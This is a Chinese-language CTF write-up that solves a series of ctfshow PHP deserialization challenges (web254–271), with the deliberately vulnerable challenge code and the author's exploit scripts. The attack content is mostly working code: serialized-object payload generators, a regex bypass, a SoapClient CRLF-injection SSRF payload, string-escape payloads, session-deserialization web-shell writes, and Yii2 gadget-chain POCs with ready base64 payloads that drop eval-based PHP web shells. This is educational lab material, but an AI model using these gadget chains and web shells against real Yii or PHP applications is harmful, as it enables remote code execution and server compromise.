# 一些基础:

private 变量会被序列化为:\x00 类名 \x00 变量名
protected 变量会被序列化为: \x00*\x00 变量名
public 变量会被序列化为:变量名

__sleep () // 在对象被序列化之前运行 *

__wakeup () // 将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过) *
如果类中同时定义了 __unserialize () 和 __wakeup () 两个魔术方法, 则只有 __unserialize () 方法会生效,wakeup () 方法会被忽略。此特性自 PHP 7.4.0 起可用。

construct () // 当对象被创建时,会触发进行初始化
__destruct () // 对象被销毁时触发__toString (): // 当一个对象被当作字符串使用时触发
__call () // 在对象上下文中调用不可访问的方法时触发__callStatic () // 在静态上下文中调用不可访问的方法时触发
__get () // 获得一个类的成员变量时调用,用于从不可访问的

属性读取数据(不可访问的属性包括:1. 属性是私有型。2. 类中不存在的成员变量)
__set () // 用于将数据写入不可访问的属性

__isset () // 在不可访问的属性上调用 isset () 或 empty () 触发
__unset () // 在不可访问的属性上使用 unset () 时触发

__toString () // 把类当作字符串使用时触发
__invoke () // 当尝试以调用函数的方式调用一个对象时

# web254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

​ 这个题就是简单的逻辑,首先是登陆,判断账号密码是否为 xxxxxx,是的话 isVip 则返回 true,之后检测 isVip 是否为 true,是的话就输出 flag。

​ 因此,直接 get 传两个参数,username 和 password 都是 xxxxxx 即可出 flag。

# web255:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

​ 逻辑挺简单的,就是从 cookie 取一个序列化后的字符串,进行反序列化,这个类就实例化成一个对象 user,然后对这个对象进行操作,进行 login,但是 login 只会返回一个真或者假,不会操作 isVip 参数,之后的 checkVip 会检测 isVip 的值,为真则输出 flag,所以,生成的序列化字符串要求是 isVip 属性得是真,所以生成的脚本如下:

1
2
3
4
5
6
7
8
<?php
class ctfShowUser{
public $isVip = true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));

?username=xxxxxx&password=xxxxxx

# web256:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

​ 这个题在这个函数里有个问题:

1
2
3
4
5
6
7
8
9
10
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}

​ 这里很明显,当账号和密码相等的时候,就不会输出 flag,当不等的时候就输出,所以,需要通过反序列化将 username 或者 password 改一个,使他们不相等,之后 get 传参的时候传入修改之后的就行了。生成 cookie 的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
}

$a = new ctfShowUser();
$a->isVip = true;
$a->password = "xxxxx";

echo urlencode(serialize($a));


?username=xxxxxx&password=xxxxx

# web257:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

​ 这个题第一次遇到了魔术方法, 由于存在 backDoor 类,里面有可以进行 RCE 的点,所以,这里可以想办法触发 __construct 方法以及修改参数来创建这个类,但是,由于 info 类和 backDoor 类都有一个同名的方法,就是 getInfo,所以在脚本结束的时候,也就是释放或者销毁类的时候就会调用 __destruct 方法, 然后调用到 backDoor 类里的 getInfo 方法进行 RCE。生成 payload 的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class ctfShowUser
{
private $username = 'xxxxxx';
private $password = 'xxxxxx';
private $isVip = true;
private $class = 'info';

public function __construct()
{
$this->class = new backDoor();
}
}

class info
{
private $user = 'xxxxxx';

public function getInfo()
{
return $this->user;
}
}

class backDoor
{
private $code = "system('tac flag.php');";

public function getInfo()
{
eval($this->code);
}
}

$a = new ctfShowUser();
echo urlencode(serialize($a));

# web258:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

​ 这个题对比上一题,多了个正则过滤,基本上就是过滤了 o: 数字 以及 c: 数字 ,这种形式,这里可以使用加号绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class = new backDoor();
}
}
class backDoor{
public $code = "system('tac fl*');";
}

$a = new ctfShowUser();
$b = serialize($a);
$b = str_replace("O:","O:+",$b);
echo urlencode($b);

​ 这个构造我踩了不少坑,最严重的是 system 函数后面,没有加分号,这个是最大的问题,我一直以为没有成功,结果是因为每家分号。

# web259:

1
2
3
4
5
6
7
<?php

highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

​ 这个题给的信息好少,不会做,看下 wp。

​ 这一题主要考察了原生类的反序列化,好吧,第一次遇到完全想不到,即使学了原生类也没想到。

​ 由于整个 index 里面没有任何类,所以后面的反序列化加上 $vip->getFlag (); 给人第一反应应该是调用了一个不存在的方法以及原生类结合,触发 __call 魔术方法,

​ 贴一个链接,这个文章感觉很详细:【靶场】ctfshow 详解 web259 原生类反序列化

​ 这里是使用的 Soapclient 原生类:

Soapclient 原生类主要作用是使 PHP 应用程序能够方便地调用远程的 SOAP 服务

SoapClient 原生类,类似于 curl 一样的存在,基于 XML 的协议,它使应用程序通过 HTTP 来交换信息

​ 提示里给了这个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

​ 这里可以看出来,flag,php 文件会帮我们获得 flag 的值,但是,需要提前检测 ip,也就是 xff 的值。

​ 从代码上看直接访问 flag.php 给 X_FORWARDED_FOR 赋值 127.0.0.1 三次 (127.0.0.1, 127.0.0.1, 127.0.0.1) 就可以绕过 array_pop (删除数组末尾的值), 在传入 token 等于 ctfshow 就能得到 flag

​ 所以,构造 payload 的脚本如下:

1
2
3
4
5
<?php
$ua = "ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

echo urlencode(serialize($client));

​ 完成上面的生成操作得安装 php-soap 拓展,我这里用的是 phpstudy,它自带这个拓展,但是没有编译。打开 php-ini,找到 extension=php_soap.dll,把前面的分号去掉。

​ 之后得到的 payload 发送之后直接读取 flag.txt 即可。

# web260:

1
2
3
4
5
6
7
8
9
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

​ 没搞懂这个题的意义是啥,算了无脑了:get 传一个 ctfshow=ctfshow_i_love_36D 即可得到 flag。

# web261:

​ 提示里出现了个打 redis,有点害怕了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

​ 先扔一个考点:

如果类中同时定义了 __unserialize () 和 __wakeup () 两个魔术方法, 则只有 __unserialize () 方法会生效,__wakeup () 方法会被忽略。

​ 所以不用搭理 __wakeup 直接打木马:

​ 因为存在 file_put_contents,所以只需要将木马写入文件里即可,然后就是 __destruct ,在脚本跑完的时候会自动执行,所以完全可以触发,之后,有一个 if ($this->code==0x36d ,需要想办法通过,因为是弱比较,所以可以利用这个 PHP 的特性,先执行下这个:

1
echo 0x36d == "877.php";

​ 发现输出结果是 1,好了,可以直接梭了:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class ctfshowvip{
public $username;
public $password;

public function __construct(){
$this->username='877.php';
$this->password='<?php eval($_GET[1]);?>';
}
}
$a=new ctfshowvip();
echo urlencode(serialize($a));

​ 之后访问 877.php 直接 RCE 即可。

# web262:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);

​ 文档注释给了信息,有一个 message.php 文件,访问下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

​ 有两个方法,这里先用

直接反序列化:

1
2
3
4
5
6
7
8
9
10
11
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';

}

$a = new message();
echo base64_encode(serialize($a));

​ 直接通过 cookie 传一个 msg 上去即可得到 flag

字符串逃逸:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);


#palyoad:f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

# web263:

​ 一上来是个登录框,听说考点是 session 反序列化,先贴一个文章:session 反序列化

​ 首先,访问 www.zip 获取源码。

​ index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:28:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

?>


<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ctfshow登陆</title>
<link href="css/style.css" rel="stylesheet">
</head>
<body>

<div class="pc-kk-form">
<center><h1>CTFshow 登陆</h1></center><br><br>
<form action="" onsubmit="return false;">
<div class="pc-kk-form-list">
<input id="u" type="text" placeholder="用户名">
</div>
<div class="pc-kk-form-list">
<input id="pass" type="password" placeholder="密码">
</div>

<div class="pc-kk-form-btn">
<button onclick="check();">登陆</button>
</div>
</form>
</div>


<script type="text/javascript" src="js/jquery.min.js"></script>

<script>

function check(){
$.ajax({
url:'check.php',
type: 'GET',
data:{
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(JSON.parse(data).msg);
},
error:function(data){
alert(JSON.parse(data).msg);
}

});
}


</script>

</body>
</html>

​ index.php 里主要的 php 逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
	error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

?>

​ check.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}

​ inc/inc.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);

// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}


class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}

​ 最后一个文件没啥用,又长,就不放了。

​ 先看 inc/inc.php,里面存在 ini_set('session.serialize_handler', 'php'); ,根据 user 类,发现可以写入文件,发现在魔术方法__destruct 中会把 password 写入 log-username 文件中,而这里的 username 和 password 可控,在 index.php 中会检查是否设置了 session,并且:

1
2
3
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}

​ 因为 session.save_handler="" 于 user.ini 默认设置不符,会反序列化 session 中 | 后的数据所以可以直接构造 payload:

1
2
3
4
5
6
7
8
9
<?php
class User{
public $username = '1.php';
public $password = '<?php eval($_POST[a]);?>';
}

echo urlencode(base64_encode("|".serialize(new User)));

#palyoad:fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNDoiPD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2BIjt9

​ 之后访问 index.php,将 cookie 的 limit 参数改为生成的 base64 编码字符串,然后访问 check.php,最后访问 log-1.php 即可进行 rce。

# web264:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}

highlight_file(__FILE__);

​ 和 262 一样,访问 message.php,然后代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php

session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

​ 这里似乎不能修改 cookie 了,没办法了,直接打吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
echo serialize($msg);
echo "<br>";
$msg_1 = str_replace('fuck', 'loveU', serialize($msg));
echo $msg_1;


#f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

​ index.php 用 get 传参 payload,之后访问 message.php,cookie 后面加一个;msg=1 即可。

# web265:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

php 的特性,按地址传参

例如 $a = 1 b=2,这时让b = 2, 这时让 b = &a,再给a, 再给 a 重新赋个值 a=3,这个时候a = 3, 这个时候 b 就会一直跟着 $a 变化,a是什么a是什么 b 就是什么

1
2
3
4
$a='123';
$b=&$a;
$b=1;
echo $a;

​ 这个就会发现,a 的值会跟着 b 一起改变。所以 payload 可以如下生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfshowAdmin
{
public $token;
public $password;

public function __construct()
{
$this->token = 'a';
$this->password =& $this->token;
}
}
$a=new ctfshowAdmin();
echo serialize($a);

# web266:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

​ 首先,$cs = file_get_contents (‘php://input’);,可以访问请求的原始数据流,可以获取到 GET 和 POST 的数据,那么,这里就可以通过 post 发一个包,数据流是一个 ctfshow 的一个序列化后的字符串,这里需要触发 __destruct 方法, 传入一个 O:7:"ctfshow":2:{} 即可输出 flag,但是具体是为啥就不大清楚了,没有修改那个为 2 的话,就无法触发 destruct。因为估计是破坏序列化后的结果,仍会执行__destruct。

# web267:

​ 考点,yii 框架反序列化漏洞。

​ 查看源码,在最后发现如下:

1
<script src="/assets/b021fd51/yii.js"></script>

​ 推测应该是 yii 框架,虽然还没学这个是个啥,右上角发现了 login,点进去是一个登陆页面,账号为 admin,弱密码爆破一下,得到密码为 admin,之后点右上角的 about,有一个注释:

1
<!--?view-source -->

​ 前面加了个问好,是提示我们需要 get 传参,传一个后发现反序列化的一个代码:

1
2
///backdoor/shell
unserialize(base64_decode($_GET['code']))

​ 进入 yii.js 后提示 yii 版本:

1
2
3
4
5
6
7
8
9
/**
* Yii JavaScript module.
*
* @link http://www.yiiframework.com/
* @copyright Copyright (c) 2008 Yii Software LLC
* @license http://www.yiiframework.com/license/
* @author Qiang Xue <qiang.xue@gmail.com>
* @since 2.0
*/

​ 之后查找历史漏洞找到了一下 poc,这个漏洞有条件再看,现在先不看,直接用 poc 打:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

​ 之后通过 get 上传:

1
?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

​ 就能打出 phpinfo,之后使用 passthru 即可获得 flag,system 没有回显,不知道为啥,不过也可以 echo 一句话木马进一个文件也行。

# web268:

​ 相比于上一题有过滤,换一个 poc 即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php");
echo(base64_encode(serialize($exp)));
}

​ 之后 exp 为:

1
?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19

​ 然后访问 1.php 然后 post 一个 1=system (“cat /flags”); 即可

# web269:

​ 和上一个题一模一样,没任何区别。

# web270:

​ 268 题的 poc 依旧能用,直接用。

# web271:

